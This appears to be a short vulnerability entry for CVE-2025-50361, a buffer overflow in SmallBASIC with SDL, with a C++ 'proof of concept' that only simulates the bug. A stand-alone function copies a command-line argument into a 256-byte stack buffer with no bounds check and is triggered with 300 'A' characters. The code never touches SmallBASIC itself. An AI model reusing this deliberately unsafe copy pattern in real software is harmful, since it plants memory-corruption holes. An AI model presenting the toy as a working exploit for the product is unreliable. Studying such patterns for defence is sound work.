CVE-2025-50361: SmallBASIC with SDL缓冲区溢出漏洞

#include <iostream> #include <cstring> // This PoC demonstrates the buffer overflow condition in SmallBASIC // Target: SmallBASIC with SDL < v12_28 // File: main.cpp // Simulated vulnerable function void vulnerable_function(char* input, int size) { char buffer[256]; // Missing bounds checking - VULNERABLE memcpy(buffer, input, size); buffer[size] = '\0'; } // Trigger the overflow int main(int argc, char* argv[]) { if (argc > 1) { // Crafted input exceeding buffer size char* malicious_input = argv[1]; int input_len = strlen(malicious_input); // Attempt to trigger buffer overflow vulnerable_function(malicious_input, input_len); } return 0; } /* Usage: Compile: g++ -o poc poc.cpp Run: ./poc $(python3 -c 'print("A"*300)') Note: This PoC is for educational purposes. The actual exploitation requires analysis of the specific vulnerable code path in main.cpp of SmallBASIC with SDL versions before v12_28. */